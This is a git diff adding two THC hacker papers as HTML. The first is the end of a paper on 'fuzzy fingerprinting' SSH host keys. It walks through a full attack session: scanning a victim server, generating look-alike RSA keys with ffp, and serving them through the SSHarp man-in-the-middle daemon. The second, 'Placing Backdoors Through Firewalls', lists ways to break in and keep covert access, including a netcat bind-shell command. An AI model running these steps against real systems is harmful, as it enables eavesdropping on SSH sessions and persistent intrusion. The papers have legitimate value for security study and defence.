    +Therefore ffp acts an extension to common man-in-the-middle tools such +as dsniff [DS] or ettercap [EC]. If the attacker sends a public +key to the victim that has a fuzzy fingerprint that nearly looks like the +target fingerprint, the victim might easier be fooled to accept the public +key and continue the eavesdropped connection. Because all those theory is +gray, we are quickly installing our implementation and then start to +actively generate a fuzzy fingerprint to be used with Sebastian Krahmer's +tool SSHarp. + +
    +

    +3.1  Installation of ffp

    + +
    +In order to install this release, you need a Unix environment or at +least something very similar such as Cygwin or QNX. You will also need +a mathematical library which is present in most Unix system and the +OpenSSL libraries available at http://www.openssl.org. + +
    +If everything is place, follow the boring GNU autoconf/automake installation +process: + +
    + +
    +$ ./configure
    +$ make
    +$ su -c "make install"
    +
    + + +
    +
    +
    +
    + + + +
    +If you want to you can use the -prefix option to install this +software to a specific direction. The default location is /usr/local. +If you need to you can use the -with-ssl-dir option to specify the +directory of your OpenSSL installation. + +
    +If during the compilation or installation process errors occur ask yourself +at first, if you have done anything wrong, wait for a time, say 2 minutes, +and ask yourself again if you have been honest to yourself. If it turns out +that there is really something wrong with the code of ffp drop a mail +to Plasmoid plasmoid@thc.org and describe your problems. Please +understand that you are on your own if you try to fiddle with any Windows +release and Cygwin. + +
    +

    +3.2  Usage of ffp

    + +
    +The current release of Fuzzy Fingerprint is a command line tool called +ffp that has the following command line option + +
    + +
    +Usage: ffp [Options]
    +Options:
    +  -f type       Specify type of fingerprint to use [Default: md5]
    +                Available: md5, sha1, ripemd
    +  -t hash       Target fingerprint in byte blocks. 
    +                Colon-separated: 01:23:45:67... or as string 01234567...
    +  -k type       Specify type of key to calculate [Default: rsa]
    +                Available: rsa, dsa
    +  -b bits       Number of bits in the keys to calculate [Default: 1024]
    +  -K mode       Specify key calulation mode [Default: sloppy]
    +                Available: sloppy, accurate
    +  -m type       Specify type of fuzzy map to use [Default: gauss]
    +                Available: gauss, cosine
    +  -v variation  Variation to use for fuzzy map generation [Default: 4.3]
    +  -y mean       Mean value to use for fuzzy map generation [Default: 0.08]
    +  -l size       Size of list that contains best fingerprints [Default: 10]
    +  -s filename   Filename of the state file [Default: /var/tmp/ffp.state]
    +  -e            Extract SSH host key pairs from state file
    +  -d directory  Directory to store generated ssh keys to [Default: /tmp]
    +  -p period     Period to save state file and display state [Default: 60]
    +  -V            Display version information
    +
    + + +
    +
    +
    +
    + + + +
    +If you have read the theoretical background covered in this paper you should +already have an idea how some of these options work and which parameters +they influence. Due to the fact that ffp is not a kernel module, you +run through the classical try and error phase and find the rest out +yourself. Instead of discussing each detail of the implementation, this +document demonstrates a sample session of ffp and SSHarp. + +
    +

    +3.3  Sample session using ffp and SSHarp

    + +
    +This part of the documentation demonstrates how to use ffp in +conjunction with a man-in-the-middle tool and describes a sample session +that finally demonstrates the transmission and display of a fuzzy +fingerprint. Other nasty techniques, such as ARP spoofing, that are +necessary for the successful interception and manipulation of SSH +connections, have been wisely left out because the author doesn't have any +idea how these things actually work, but hopes to know some bad guys who do. + +
    +

    +3.3.1  Investigating the victim host

    + +
    +The first step could be to investigate the victim SSH server in order to +find out which version of SSH is used and which public key algorithms are +available. The OpenSSH package [SSH] provides all tools we need for +gathering information from a remote SSH server. Our victim will be the +server skena.foo.roqe.org which luckily is not available outside the +sample network. + +
    + +
    +foo@fluffy:doc> ssh-keyscan -t rsa skena.foo.roqe.org > /tmp/skena-sshd 
    +# skena.foo.roqe.org SSH-1.99-OpenSSH_3.4
    +foo@fluffy:doc> cat /tmp/skena-sshd 
    +skena.foo.roqe.org ssh-rsa
    +AAAAB3NzaC1yc2EAAAABIwAAAIEAtE/CTgGl2HSUZUiCiSqhJafup [...]
    +
    + + +
    +
    +
    +
    + + + +
    +It turns out that skena.foo.roqe.org is using an OpenSSH v3.4 server +able to run the SSH v2 protocol and also has an RSA public host key +available. This is good news for us, because ffp only support SSH v2 +keys and RSA key generation is faster than DSA 2.4.2. The SSH +server version is important to play banner tricks on the server as they +have been covered in Sebastian's paper. + +
    +Now let's take a closer look at the bits used in the RSA algorithm and +of course at the MD5 fingerprint of the host key we retrieved from +skena.foo.roqe.org. + +
    + +
    +foo@fluffy:doc> ssh-keygen -f /tmp/skena-sshd -l
    +1024 d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87 skena.foo.roqe.org
    +
    + + +
    +
    +
    +
    + + + +
    +Again excellent news, good old skena.foo.roqe.org is only using a 1024 +bit RSA key and we also note the cryptographic fingerprint +d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87. So using a 2048 or even +4096 host key is not only a good necessary protection against cryptographic +attacks but also a protection against cheap attacks such as fuzzy +fingerprinting. + +
    +

    +3.3.2  Generating a key pair with a good fuzzy fingerprint

    + +
    +The next step is to generate a public key and a private key for an OpenSSH +server so that the public key has a fuzzy fingerprint that nearly matches +the target fingerprint. In order to do so we launch ffp with the +appropriate options. ffp will output a lot of information and then +start to crunch. This process can take several days, the longer you wait +the better the fuzzy fingerprint can get. Please note that the process is +not linear at all or in any way predictable, therefore you'll need a lot of +time or a lot of luck, best is both. + +
    + +
    +foo@fluffy:doc>./ffp -f md5 -k rsa -b 1024 \ 
    +                     -t d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87
    +
    + + +
    +
    +
    +
    + + + +
    +Periodically ffp will send some status information to the screen and +also show the best fuzzy fingerprint that was generated so far. Internally +ffp keeps a list of best fuzzy fingerprints, so that you are later +able to choose the best yourself. The output of ffp during the +crunching process looks like this: + +
    + +
    +---[Current State]--------------------------------------------------------
    + Running:   0d 00h 02m 00s | Total:   2216k hashs | Speed:  18469 hashs/s
    +--------------------------------------------------------------------------
    + Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
    +    Hash Algorithm: Message Digest 5 (MD5)
    +       Digest Size: 16 Bytes / 128 Bits
    +    Message Digest: d1:bc:df:32:a2:45:2e:e0:96:d6:a1:7c:f5:b8:70:8f
    +     Target Digest: d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87
    +     Fuzzy Quality: 47.570274%
    +
    + + +
    +
    +
    +
    + + + +
    +The program displays the time it is running the number of hashs it has +been tested in "kilohashs" and the speed. An 1.2 GHz PC has a fair +speed of 130000 hashs per second, where my poor UltraSparc machine only +calculates 20000 hashs per second. + +
    +You can interrupt a running session, by pressing the keys CTRL-C, +ffp will abort and store the current environment in a so called state file +that is usually stored in /var/tmp/ffp.state. Issuing again simple +command ffp without any options continues the crunching process from +the saved state file. + +
    +Please note that while writing this documentation, the author did not find +the time to search for a good fuzzy fingerprint and therefore used a +fingerprint that was achieved after only a few minutes of intensive +crunching on an Ultra 10. Extraction of the fingerprints is done using the +following command. + +
    + +
    +foo@fluffy:src> ./ffp -e -d /tmp    
    +---[Restoring]------------------------------------------------------------
    +Reading FFP State File: Done
    +    Restoring environment: Done
    + Initializing Crunch Hash: Done
    +--------------------------------------------------------------------------
    +Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07]
    +
    + + +
    +
    +
    +
    + + + +
    +The generated public and private SSH host keys in the /tmp directory +can be investigated using the following command. The attacker should use +the key that looks best in a human sense. Eventhough fuzzy map weighting is +a nice measure for the quality of fuzzy fingerprints the human eye may +best choose which fingerprint has the greatest chance to be confused with +the original target fingerprint. + +
    + +
    +foo@fluffy:doc> for i in /tmp/ssh-rsa??.pub ; do ssh-keygen -f $i -l ; done
    +1024 d6:b7:8f:a6:fa:21:0c:0d:7d:0a:fb:9d:30:90:4a:87 /tmp/ssh-rsa00.pub
    +1024 d6:b5:d0:34:aa:03:ca:9b:7f:66:b4:79:0a:86:74:a7 /tmp/ssh-rsa01.pub
    +1024 d6:87:6f:71:9d:2c:5d:fb:57:54:03:a2:2d:09:51:87 /tmp/ssh-rsa02.pub
    +1024 d6:b2:3f:ac:13:ce:ca:59:3f:b1:4b:c2:f0:03:44:97 /tmp/ssh-rsa03.pub
    +1024 d6:b9:0f:31:85:b3:34:1e:19:f5:d9:60:79:be:f4:85 /tmp/ssh-rsa04.pub
    +1024 96:57:df:31:8d:11:f2:b1:28:a4:fd:6d:34:5f:b2:87 /tmp/ssh-rsa05.pub
    +1024 d0:b0:df:0e:7c:f6:54:94:46:12:72:94:3a:07:a4:87 /tmp/ssh-rsa06.pub
    +1024 d6:b7:dd:be:f3:52:d9:8f:7e:53:30:49:f1:a8:94:5a /tmp/ssh-rsa07.pub
    +
    + + +
    +
    +
    +
    + + + +
    +In this sample session the private key /tmp/ssh-rsa00 and the public +key /tmp/ssh-rsa00.pub have been chosen for the attack against the +host skena.foo.roqe.org. But also note that only after a few minutes +of crunching there are already several fingerprints that contain a good +start and end sequence and two fingerprints that share the correct first two +bytes. + +
    +

    +3.3.3  Launching ssharp with the generated keys

    + +
    +The special thing about the SSHarp implementation is the fact that this +tool is build upon the OpenSSH server and therefore the configuration is +very similar to the OpenSSH server configuration. We are now going to start +a simple man-in-the-middle session. We launch the ssharpd server +on the host fluffy.foo.roqe.org on port 10000. + +
    + +
    +foo@fluffy:ssharp> ./ssharpd -f /etc/ssh/sshd_config -d \
    +                             -h /tmp/ssh-rsa00 -4 -p 10000
    +
    +Dude, Stealth speaking here. This is 7350ssharp, a smart
    +SSH1 & SSH2 MiM attack implementation. It's for demonstration
    +and educational purposes ONLY! Think before you type ... (<ENTER> or
    +<Ctrl-C>)
    +
    +debug1: Seeding random number generator
    +debug1: sshd version OpenSSH_2.9p1
    +debug1: read PEM private key done: type RSA
    +debug1: private host key: #0 type 1 RSA
    +Disabling protocol version 1. Could not load host key
    +debug1: Bind to port 10000 on 0.0.0.0.
    +Server listening on 0.0.0.0 port 10000.
    +
    +
    + + +
    +
    +
    +
    + + + +
    +While this example looks very simple it might be necessary to study the +details of the SSHarp implementation by reading the file README.sharp +in order to setup a working environment. It has already been noted in the +beginning that this session doesn't demonstrate all necessary steps to setup +a man-in-the-middle attack and only focuses on the parts that are relevant +to see ffp in active process. + +
    +We can now connect to our host fluffy.foo.roqe.org at port 10000 +and see our faked public key and its fuzzy fingerprint in action using +the normal SSH client + +
    + +
    +foo@fluffy:ssharp> ssharp -l foo fluffy.foo.roqe.org -2 -p 10000
    +The authenticity of host '10.0.0.2 (10.0.0.2)' can't be established.
    +RSA key fingerprint is d6:b7:8f:a6:fa:21:0c:0d:7d:0a:fb:9d:30:90:4a:87.
    +Are you sure you want to continue connecting (yes/no)?
    +
    + + +
    +
    +
    +
    + + + +
    +What we are seeing is in fact our fuzzy fingerprint and our client is +asking for confirmation. If the user has got a headache, trouble with +his/ger girl/boyfriend or is not that concentrated, pressing yes at +this situation might allow an attacker to eavesdrop all following +communications with the host skena.foo.roqe.org. + +
    +In order to complete your man-in-the-middle setup, you need to redirect +the traffic to skena.foo.roqe.org to our fake server at +fluffy.foo.roqe.org, e.g. by using ARP spoofing. You also need to +use port forwarding on fluffy to redirect port 10000 to 22, so +that normal SSH connection will be accepted. That's it. + +
    +

    +4  Thanks and greetings

    + + +
    +2 + +
      +
    • Skyper
      + Who invented the idea with me and is still working on a + different approach to very fast RSA key generation.

    • + +
    • Wilkins and Arrow
      + For the classical old-fashioned booze-ups and the + obligatoric action.

    • + +
    • Hannes and Heinrich
      + Who really believe this is serious, academic + work and code. Indeed, it is!

    • + +
    • TTEHSCO Fusion
      + This is the first unofficial release for TTEHSCO. Cheers + to all fellows and rockers at The Hacker's Choice and + Team TESO.

    • + +
    • All that jazz around


    • +
    + + + +
    + +

    References

    + +
    +
    [FFP]
    + Implementation of Fuzzy Fingerprinting for + RSA, DSA, MD5 and SHA1 + +
    + Plasmoid + +
    + http://www.thc.org/releases.php + +
    +
    +
    [RSA]
    + A Method for Obtaining Digital Signatures and Public-Key + Cryptosystems + +
    + Ronald L. Rivest, Adi Shamir, and Leonard M. Adleman. + Communications of the ACM 21,2 (Feb. 1978), 120-126. + +
    + http://theory.lcs.mit.edu/ rivest/rsapaper.pdf + +
    +
    +
    [ILP]
    + How to Expose an Eavesdropper + +
    + R. L. Rivest, Adi Shamir, Communications of the ACM, v. 27, n. 4, + February 1978, pp. 120-126. + +
    +
    +
    [MD5]
    + The MD5 Message Digest Algorithm + +
    + R. L. Rivest, RFC 1321. April 1992 + +
    + http://theory.lcs.mit.edu/ rivest/Rivest-MD5.txt + +
    +
    +
    [DSS]
    + Digital Signature Standard (DSS) + +
    + National Institute of Standards and Technology, NIST FIPS PUB 186, + U.S. Department of Commerce, May 1994. + +
    + http://csrc.nist.gov/publications/fips/fips186-2/fips186-2.pdf + +
    +
    +
    [SFP]
    + SSH for Fun and Profit + +
    + Sebastian Krahmer, July 2002 + +
    + http://stealth.7350.org/ssharp.pdf + +
    +
    +
    [SSH]
    + OpenSSH Suite + +
    + Free version of the SSH protocol suite of network connectivity + tools. + +
    + http://www.openssh.org + +
    +
    +
    [SSL]
    + OpenSSL Project + +
    + Open Source toolkit implementing the Secure Sockets Layer (SSL + v2/v3) and Transport Layer Security (TLS v1) protocols. + +
    + http://www.openssl.org + +
    +
    +
    [DS]
    + DSniff - Tools for network auditing and penetration + testing + +
    + Dug Song + +
    + http://www.monkey.org/ dugsong/dsniff + +
    +
    +
    [EC]
    + Ettercap Multiprupose Sniffer/Interceptor/Logger + +
    + A. Ornaghi, M. Valleri + +
    + http://ettercap.sourceforge.net
    +
    + +
    + +
    + + + +
    + +


    File translated from +TEX +by +TTH, +version 3.44.
    On 25 Oct 2003, 16:39.
    + diff --git a/Papers/ffp.pdf b/Papers/ffp.pdf new file mode 100644 index 0000000..03dbb95 Binary files /dev/null and b/Papers/ffp.pdf differ diff --git a/Papers/fw-backd.htm b/Papers/fw-backd.htm new file mode 100644 index 0000000..a3c537c --- /dev/null +++ b/Papers/fw-backd.htm @@ -0,0 +1,383 @@ + + + +Placing Backdoors Through Firewalls + + + +
    +

    +---[ Placing Backdoors Through Firewalls ]--- +
    +v1.5 +

    +

    + + +
    Author: van Hauser / THC
    +
    +
    +


    +----[ Introduction +

    +This article describes possible backdoors through different firewall +architectures. However, the material can also be applied to other +environments to describe how hackers (you?) cover their access to a system. +

    +Hackers often want to retain access to systems they have penetrated +even in the face of obstacles such as new firewalls and patched +vulnerabilities. To accomplish this the attackers must install a +backdoor which a) does it's job and b) is not easily detectable. The +kind of backdoor needed depends on the firewall architecture used. +

    +As a gimmick and proof-of-concept, a nice backdoor for any kind of +intrusion is included, so have fun. +

    +


    +----[ Firewall Architectures +

    +There are two basic firewall architectures and each has an enhanced version. +

    +Packet Filters:

        +This is a host or router which checks each packet against an +allow/deny ruletable before routing it through the correct +interface. There are very simple ones which can only filter +from the origin host, destination host and destination port, as +well as good ones which can also decide based on incoming interface, +source port, day/time and some tcp or ip flags.
        +This could be a simple router, f.e. any Cisco, or a Linux +machine with firewalling activated (ipfwadm). +

    +Stateful Filters: +

        This is the enhanced version of a packet filter. It +still does the same checking against a rule table and only +routes if permitted, but it also keeps track of the state +information such as TCP sequence numbers. Some pay attention +to application protocols which allows tricks such as only +opening ports to the interiour network for ftp-data channels +which were specified in a permitted ftp session. These +filters can (more or less) get UDP packets (f.e. for DNS and +RPC) securely through the firewall. (Thats because UDP is a +stateless protocol. And it's more difficult for RPC services.)
        +This could be a great OpenBSD machine with the ip-filter software, +a Cisco Pix, Watchguard, or the (in)famous Checkpoint FW-1. +

    +Proxies / Circuit Level Gateways: +

        A proxy as a firewall host is simply +any server which has no routing activated and instead has +proxy software installe.
        Examples of proxy servers which may +be used are squid for WWW, a sendmail relay configuration +and/or just a sockd. +

    +Application Gateways: +

        This is the enhanced version of a proxy. Like a proxy, for every +application which should get through the firewall a software must +be installed and running to proxy it. However, the application +gateway is smart and checks every request and answer, f.e. that +an outgoing ftp only may download data but not upload any, and that +the data has got no virus, no buffer overflows are generated in +answers etc. One can argue that squid is an application +gateway, because it does many sanity checks and let you filter +stuff but it was not programmed for the installation in a secure +environment and still has/had security bugs.
        +A good example for a freeware kit for this kind is the TIS firewall +toolkit (fwtk). +

    +Most firewalls that vendors sell on the market are hybrid firwalls, +which means they've got more than just one type implemented; for +example the IBM Firewall is a simple packet filter with socks and a +few proxies. I won't discuss which firewall product is the best, +because this is not a how-to-by-a-firewall paper, but I will say this: +application gateways are by far the most secure firewalls, +although money, speed, special protocols, open network policies, +stupidity, marketing hype and bad management might rule them out. + + + +


    +----[ Getting in +

    +Before we talk about what backdoors are the best for which firewall +architecture we should shed a light on how to get through a firewall +the first time. Note that getting through a firewall is not a plug-n-play +thing for script-kiddies, this has to be carefully planned and done. +

    +The four main possibilities: +

    +Insider: +

        There's someone inside the company (you, girl/boy-friend, chummer) + who installs the backdoor. This is the easiest way of course. +

    +Vulnerable Services: +

        Nearly all networks offer some kind of services, + such as incoming email, WWW, or DNS. These may be on the + firewall host itself, a host in the DMZ (here: the zone in front + of the firewall, often not protected by a firewall) or on an internal + machine. If an attacker can find a hole in one of those services, + he's got good chances to get in. You'd laugh if you'd see how many + "firewalls" run sendmail for mail relaying ... +

    +Vulnerable External Server: +

        People behind a firewall sometimes work on + external machines. If an attacker can hack these, he can + cause serious mischief such as the many X attacks if the + victim uses it via an X-relay or sshd. The attacker could + also send fake ftp answers + to overflow a buffer in the ftp client software, replace a gif + picture on a web server with one which crashs netscape and + executes a command (I never checked if this actually works, it + crashs, yeah, but I didn't look through this if this is really + an exploitable overflow). There are many possibilities with + this but it needs some knowledge about the company. However, + an external web server of the company is usually a good start. + Some firewalls are configured to allow incoming telnet from + some machines, so anyone can sniff these and get it. This is + particulary true for the US, where academic environments and + industry/military work close together. +

    +Hijacking Connections: +

        Many companies think that if they allow incoming telnet with + some kind of secure authentication like SecureID (secure algo?, he) + they are safe. Anyone can hijack these after the authentication and + get in ... Another way of using hijacked connections is to modify + replies in the protocol implementation to generate a buffer + overflow (f.e. with X). +

    +Trojans: +

        Many things can be done with a trojan horse. + This could be a gzip file which generates a buffer overflow + (well, needs an old gzip to be installed), a tar file which + tampers f.e. ~/.logout to execute something, or an executable + or source code which was modified to get the hacker in somehow. + To get someone running this, mail spoofing could be used or + replacing originals on an external server which internal employees + access to update their software regulary (ftp xfer files and www + logs can be checked to get to know which files these are). +

    + + +


    +----[ Placing the Backdoors +

    +An intelligent hacker will not try to put the backdoors on machines in +the firewall segment, because these machines are usually monitored and +checked regulary. It's the internal machines which are usually unprotected +and without much administration and security checks. +

    +I will now talk about some ideas of backdoors which could be implemented. +Note that programs which will/would run on an stateful filter will of course +work with a normal packet filter too, same for the proxy. Ideas for an +application gateway backdoor will work for any architecture.
    +Some of them are "active" and others "passive". "Active" backdoors are those +which can be used by a hacker anytime he wishes, a "passive" one triggers +itself by time/event so an attacker has to wait for this to happen. +

    +Packet Filters: +

        It's hard to find a backdoor which gets through this one but does + not work for any other. The few ones which comes into my mind
        + is a) the ack-telnet. It works like a normal telnet/telnetd except + it does not work with the normal tcp handshake/protocol but uses + TCP ACK packets only. Because they look like they belong to an + already established (and allowed) connection, they are permitted. + This can be easily coded with the spoofit.h of Coder's Spoofit + project (http://reptile.rug.ac.be/~coder).
        + b) Loki from Phrack 49/51 could be used too to establish a tunnel + with icmp echo/reply packets. But some coding would be needed to + to be done.
        + c) daemonshell-udp is a backdoor shell via UDP
        + (http://www.thc.org look for thc-uht1.tgz)
        + d) Last but not least, most "firewall systems" with only a screening + router/firewall let any incoming tcp connection from the source port + 20 to a highport (>1023) through to allow the (non-passive) ftp + protocol to work. "netcat -p 20 target port-of-bindshell" is the + fastest solution for this one. +

    +Stateful Filters: +